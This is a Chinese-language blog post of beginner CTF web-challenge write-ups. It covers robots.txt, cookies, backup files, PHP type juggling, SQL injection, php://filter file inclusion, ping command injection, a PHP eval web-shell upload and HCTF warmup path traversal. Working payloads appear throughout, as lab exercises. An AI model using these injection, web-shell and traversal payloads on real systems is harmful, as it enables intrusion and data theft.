web做题笔记1

2023.2.1 做题笔记的开始

注:本文难度1中部分知识讲解内容是以前根据其他大佬的文章摘抄下来的,若有相关内容未标明出处的请与我联系

攻防世界web

难度1

view-source

网页没有可用的信息,进入源代码查看

但是右键点不了

那么这个时候,就要提一下

如何用其他的方法查看源代码
  1. 点击F12,即开发者模式(我这里用的是火狐浏览器)

2.网址前面加view-source:

3.使用burpsuite抓包:

得到flag~

Training-WWW-Robots

这个题用于理解robots.txt,根据提示就行

robots.txt文件被网络爬虫用来检查他们是否被允许对您的网站或其部分进行爬网和索引。

有时这些文件会显示目录结构,而不是保护内容不被爬网。

这个题就简单地过去了

robots

网页什么都没有

上面是该页面的源代码,发现什么也没有。

按照正常操作应该是要先去源代码看看有没有什么可以用到的数据,但是题目已经给了我们提示,所以我们直接在网址后加robots.txt

进入f1ag_1s_h3re.php

顺利拿下。

顺便说一下robots协议

robots协议:也可称爬虫协议,是指网站中可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不可以抓取。自然,搜索引擎就会根据这个文件来判断这个页面是否可以抓取。但是搜索引擎可以跳过robots.txt来搜索其他内容,因此它并不是防火墙。

就比如网站是一个区域,那么robots.txt就是这个区域的警示牌,写着“禁止进入”或者其他标语来提示他人,但是没办法拦住其他想闯进这个区域的人。

robots协议的写法有很多,可以参考我的另一篇文章对其的总结。(目前暂无)

cookie

Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理。

服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。

方法一

看到题目,先抓一下包

有个cookie.php,打开看看

提示说看http的响应头,那么我们就把这个页面也抓一下包(在burpsuite里面加cookie.php也可)

拿到flag~

方法二

我们也可以进入开发者模式,在火狐浏览器或者谷歌浏览器按F12

点击“网络”一栏,进入cookie.php查看

backup

网站只出现了一段文字

根据题目,我们就提一下

index.php的备份文件名

在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。

该漏洞的成因主要有是管理员将备份文件放在到web 服务器可以访问的目录下。

该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露。

被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。

常见的文件后缀名有很多,如下列这些后缀名,需要记住:.rar .zip .7z .tar.gz .bak .swp .txt .sql .git .svn .~ .bash_history等等

由于题目是backup,所以它的后缀名应该是.bak

出现了一个下载文件的界面,将下载的文件用记事本打开

拿下!

simple_php

这道题涉及到php的代码审计

我们对代码进行分析

<?php
show_source(__FILE__);//打印当前PHP页面的代码
include("config.php");//包含外部文件的语句
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}//如果a的值为0且a不等于0时,输出flag的一部分
if(is_numeric($b)){
    exit();
}//is_numeric()用于检测当前变量是否为数值或者自变量,如果是数值返回True,否则返回False。如果b为数值就退出
if($b>1234){
    echo $flag2;
}//如果b的值大于1234,则输出flag的另外一部分
?>

在第一个if语句中,是不是觉得语句冲突了?

来简单地提一下

php语句中的转化与比较

转化我就直接给出例子了

<?php
var_dump("xiaoming456"==456);//返回False,字符串的值变为0
var_dump("456xioaming"==456);//返回True,字符串的值变为456
var_dump("45xiaoming6"==45);//返回True,字符串的值变为45
?>

在转化中,如果是数值就不用转化;如果是字符串,就从字符串的开头依次寻找第一次出现的字符,该字符前没有数字就是0,有数字就以字符串前的数字作为转化后的值

有两种比较符号,分别是“==”和“===”

二者的区别在于

“==”是一个不严格的比较,会先把字符串转化为相同(即转化为数值),然后再做比较

“===”是一个严格的比较,会先判断二者的类型是否相同,然后再做比较

<?php
var_dump("xiaoming"==0)//返回True,因为xiaoming被转化为了数值0
var_dump("xiaoming"===0)//返回False,因为xiaoming是字符串,不能与数值作比较
?>

打个比方,两个人都有一个相同的目标,但一个人只注重结果,另一个人要注重过程和结果。

更多内容可以参考PHP手册

https://www.php.net/manual/zh/types.comparisons.php

PHP2

点进去只有一句话,查看源代码也没有什么可用的。

我们用bp抓一下包

也没什么可用的。

那么这个时候得考虑扫一下网站目录

我这里用的是御剑后台目录扫描工具,具体如何下载看看这位大佬的文章

扫出来index.php与index.phps,打开查看源代码,前者无反应,后者如下图

分析代码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}
//如果id="admin",则输出"not allowed!",并退出
$_GET[id] = urldecode($_GET[id]);//对输入的id进行url解码
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}//满足条件输出flag
?>

注:浏览器会对网址含有的url编码进行一次解码

根据以上信息,我们可以对"admin"进行二次编码(其实只需要对其中一个字符编码即可)

我们构造payload,就是

/index.php?id=%2561dmin// a的url编码是%61,%61的url编码就是%2561

拿下!

顺便提一下,phps文件是PHP的源代码文件,一般是给用户来直接通过浏览器查看php代码的内容

disabled_button

flag按钮不能按,那么我们按F12进入开发者模式

把disabled一栏去掉,flag就可以点了

weak_auth

这道题我在做的时候感觉莫名其妙,用户名admin+密码123456就得到flag了.......

这是大佬的题解,采用了字典爆破

字典爆破的文件:https://github.com/arthur0081/Blasting_dictionary

baby_web

根据开始的题目提示,试着输一下index.php

发现还是原来的页面

点进F12查看网络一栏,重新进入index.php

得到flag

inget

根据题意,这里推测考察的是sql注入

测试一下id=1

没有反应,那么应该就是sql注入了

使用万能密码id=' or 1--+

当然,万能密码不止这些,id=1' or '1'='1也可以

原理和其他类型的万能密码,大佬都已经总结好了,点这里就行

ics-06

左侧一栏的列表点啥都没反应,只有报表中心才可以进去

随便点两个日期,一个开头一个结尾的,发现并没有什么用

那么就从id下手,因为跳转到这个页面时就出现了id

试一下id=22

再试一下id=abc,就跳转回了id=1了

说明id只能为数值

先抓一下包,对它进行爆破(发送至Intruder,记得把1给包上,因为那是爆破的位置)

进入payloads构造

type选择numbers

测试的范围大一点吧

发现2333的Length与其他不同

输入id=2333

得到flag

easyphp

(这个题难度竟然是1,当时还信心满满的...)

对代码进行分析

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){//a要满足3个条件,变量要被设置,变量转化为整型的数值要大于6000000,变量长度不大于3
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){//b的变量要被设置且b的MD5编码的后6位是8b148b
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);//这个可以不用管,它是将json格式的字符串进行编码
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){//判断c是否为数组,c是否含有m且m不能为数值,m的值要大于2022
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){//判断c中的n是否为数组,n数组是否含有两个元素,n数组的一个元素是否为数组
        $d = array_search("DGGJ", $c["n"]);//在数组中寻找是否含有“DGGJ”字符串,找到就输出当前键位。由于array_search()是弱类型比较,因此它会转化为0
        $d === false?die("no..."):NULL;//如果没找到就退出,找到进入下一步
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;//遍历n数组,如果含有“DGGJ”字符串就退出,否则就进入下一步
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}//当key1和key2都等于1时才会输出flag

在这个代码中,中间的判断是不是感觉太烧CPU了?你要有"DGGJ",后面又不想要了,为什么?

诶,注意到array_search了吗?由于它是弱类型的比较,所以"DGGJ"就转化为0了

所以c数组的元素中必然有一个是数值0,那么另外一个就是数组了,这个数组里面填什么元素无所谓,想填字符串的就用双引号包住即可

第一个判断a的值中可以采用科学技术法,如1e8,1e9

第二个判断b,用MD5碰撞进行爆破,得到b的值为53724

第三个判断m,根据分析可得m为字符串,用2023c进行绕过

因此构造的payload为?a=1e9&b=53724&c={"m":"2023c","n":[[],0]}

得到flag

file_include

常规的文件包含题

试着用一下php伪协议来读取源码

猜测base被过滤了,将其中一个字母进行php二次编码

还是没有反应

既然之前的read不行,那就试一下iconv函数

爆出源码

猜测存在flag.php

得到flag

iconv函数是我的知识盲区,简单提一下

在php伪协议中,有三种转换过滤器,分别为base64编码转换,quote-printable编码转换,和iconv字符编码的转换。此类过滤器以convert开头。

iconv过滤器也就是对输入输出的数据进行编码转换,格式为convert.iconv.<inputing-encode>.<outputing-encode>或convert.iconv.<inputing-encode>/<outputing-encode>

以上内容选自大佬的对php伪协议的总结文章,点击这里查看更多

fileclude

典型的文件包含题

file1可以用php伪协议输出来,构造的payload为/?file1=php://filter/read=convert.base64-encode/resource=flag.php

file2则是需要传输数据“hello ctf”

那么我们抓一下包(目前我的网页上面没有hackbar,不然做起来很快的)

fileinclude

进入flag.php看看有没有什么可用信息,最后你会发现啥也没有

那就倒回来看看网页源代码

大致分析一下php代码

<?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];//要构造一个cookie,变量名叫language,payload仍然用php伪代码
if(!$lan)
{
    @setcookie("language","english");
    @include("english.php");//存在文件包含
}
else
{
    @include($lan.".php");//存在文件包含
}
$x=file_get_contents('index.php');
echo $x;
?>

我们用bp抓一下包,在那里进行构造

payload为Cookie:language=php://filter/read=convert.base64-encode/resource=flag

得到flag

难度2

command_execution

ping功能的地址一般是127.0.0.1,它主要考了命令拼接

COMMAND1 && COMMAND2 //先执行前者,如果结果为真,就执行后者
COMMAND1 || COMMAND2 //先执行前者,如果结果为假,就执行后者
COMMAND1 & COMMAND2 //先执行后者再执行前者
COMMAND1 | COMMAND2 //只执行后者

接下来用图来解释

输入127.0.0.1;ls /

推测flag在home,进入home

127.0.0.1;ls /home

127.0.0.1;cat /home/flag.txt

还有就是官方的做法,查找含有flag的文件

127.0.0.1; find / -name "flag*"

xff_referer

网页出现了这么一个界面,先用bp抓一下包

根据题目我们可以构造X-Forwarded-For:123.123.123.123

出现如下界面

此时要在之前抓包的页面构造Referer:https://www.google.com,即

放包,得到flag.

upload1

先随手找一个文件上传

说明我们文件类型必须为图片

但是哪种格式的图片我们不知道,看一下网页源代码

图片格式只需要.jpg与.png即可

我们编写一个一句话木马,原理可以自行搜索

<?php @eval($_POST['shell']);?>

将文件保存后,修改后缀为jpg

它告诉我们文件的位置,我们用中国蚁剑进行连接

中国蚁剑的下载地址在这里

由于post数据里面是shell,所以连接密码是shell

但是你会发现,返回的数据为空,因为网页只会执行php格式的文件,毕竟网页也是用php写出来的

在上传文件那给它抓个包(点击“浏览”,选择文件后打开bp,再点击上传)

在filename那将jpg改为php

我们再连接一下

得到flag

warmup(HCTF)

啥也没有,就一个滑稽

查看源代码

去source.php看看

这个是页面代码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//给了我们提示
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }//检查page是否为字符串

            if (in_array($page, $whitelist)) {
                return true;
            }//检查page是否在whitelist数组中

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }//截取传的参数中首次出现‘?’的前部分,并判断是否在whitelist中

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }//对构造的page进行url解码,然后再截取首次出现'?'的前半部分,并判断是否在whitelist中
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])//检查file变量是否为空
        && is_string($_REQUEST['file'])//检查file变量是否是字符串
        && emmm::checkFile($_REQUEST['file'])//用自定义的方法检查file
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  //文件包含
?> 

这样一来,我们的payload就会一目了然了

?file=source.php%253f../../../../../ffffllllaaaagggg(这里第一个?是用来传参数的哦,不会被截取的,然后第二个?可以进行url二次编码,也可以不编码)

提一下,为什么payload是这样的

因为这个时候,source.php是被当做文件目录的,没有找到对应文件是不会显示的,就比如payload是?file=source.php%253fffffllllaaaagggg,那么页面就是这样的

而我们要一直找到它的上一级目录来寻找flag,用../或者./返回上一级目录,这样文件才能足够多,flag所在的文件也会被找到


本人是一个小白,若有错误或者没有说清楚的地方,还请各位大神指正!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值